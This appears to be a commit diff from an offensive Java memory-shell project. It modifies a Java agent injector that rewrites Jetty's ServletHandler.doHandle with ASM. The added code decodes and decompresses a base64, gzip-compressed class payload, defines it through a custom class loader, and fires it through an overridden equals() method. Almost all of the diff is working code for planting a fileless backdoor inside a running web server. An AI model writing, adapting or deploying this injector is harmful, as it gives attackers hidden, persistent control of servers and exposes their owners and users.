fix

Author: ReaJason

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java

@@ -2,9 +2,14 @@
 
 import org.objectweb.asm.*;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.Instrumentation;
+import java.net.URL;
+import java.net.URLClassLoader;
 import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
 
 /**
  * @author ReaJason
@@ -13,11 +18,18 @@
 public class JettyHandlerAgentInjector implements ClassFileTransformer {
     private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
     private static final String TARGET_METHOD_NAME = "doHandle";
+    private static Class<?> payload;
+    private static ClassLoader targetClassLoader;
+    private static String thisClassName = JettyHandlerAgentInjector.class.getName();
 
     public static String getClassName() {
         return "{{advisorName}}";
     }
 
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
     public static void premain(String args, Instrumentation inst) throws Exception {
         launch(inst);
     }
@@ -26,6 +38,20 @@ public static void agentmain(String args, Instrumentation inst) throws Exception
         launch(inst);
     }
 
+
+    @Override
+    public boolean equals(Object obj) {
+        if (payload == null) {
+            payload = new AgentShellClassLoader(targetClassLoader).defineDynamicClass(gzipDecompress(decodeBase64(getBase64String())));
+        }
+        try {
+            return payload.newInstance().equals(obj);
+        } catch (Throwable e) {
+            e.printStackTrace();
+            return false;
+        }
+    }
+
     private static void launch(Instrumentation inst) throws Exception {
         System.out.println("MemShell Agent is starting");
         inst.addTransformer(new JettyHandlerAgentInjector(), true);
@@ -43,6 +69,7 @@ private static void launch(Instrumentation inst) throws Exception {
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
         if (TARGET_CLASS.equals(className)) {
+            targetClassLoader = loader;
             try {
                 ClassReader cr = new ClassReader(bytes);
                 ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -71,7 +98,7 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
                 if (TARGET_METHOD_NAME.equals(name)) {
                     try {
                         Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                        return new AgentShellMethodVisitor(mv, argumentTypes, thisClassName);
                     } catch (Exception e) {
                         e.printStackTrace();
                     }
@@ -167,4 +194,125 @@ private int getArgIndex(final int arg) {
             return index;
         }
     }
+
+    public static class AgentShellClassLoader extends URLClassLoader {
+        private final ClassLoader targetClassLoader;
+
+        public AgentShellClassLoader(ClassLoader targetClassLoader) {
+            super(new URL[0], ClassLoader.getSystemClassLoader());
+            this.targetClassLoader = targetClassLoader;
+        }
+
+        @SuppressWarnings("all")
+        private Object getClassLoadingLock0(String className) {
+            try {
+                return getClassLoadingLock(className);
+            } catch (Throwable t) {
+                return this;
+            }
+        }
+
+        public Class<?> defineDynamicClass(byte[] bytes) {
+            return defineClass(bytes, 0, bytes.length);
+        }
+
+        @Override
+        protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+            Class<?> clazz = null;
+            if (name == null || name.startsWith("java.")) {
+                clazz = getParent().loadClass(name);
+            } else {
+                try {
+                    clazz = findLoadedClass(name);
+                    if (clazz == null) {
+                        synchronized (getClassLoadingLock0(name)) {
+                            clazz = findLoadedClass(name);
+                            if (clazz == null) {
+                                clazz = findClass(name);
+                            }
+                        }
+                    }
+                } catch (Throwable ignored) {
+                }
+                try {
+                    if (clazz == null) {
+                        clazz = getParent().loadClass(name);
+                    }
+                } catch (ClassNotFoundException e) {
+                    try {
+                        clazz = tryToLoadByContextClassLoader(name, resolve);
+                    } catch (Throwable ignored) {
+                        throw e;
+                    }
+                }
+            }
+
+            if (resolve) {
+                resolveClass(clazz);
+            }
+            return clazz;
+        }
+
+        public Class<?> tryToLoadByContextClassLoader(String name, boolean resolve) throws ClassNotFoundException {
+            if (targetClassLoader != null) {
+                Class<?> clazz = targetClassLoader.loadClass(name);
+                if (resolve) {
+                    resolveClass(clazz);
+                }
+                return clazz;
+            }
+            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
+            if (contextClassLoader != null) {
+                Class<?> clazz = contextClassLoader.loadClass(name);
+                if (resolve) {
+                    resolveClass(clazz);
+                }
+                return clazz;
+            } else {
+                return null;
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            try {
+                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
 }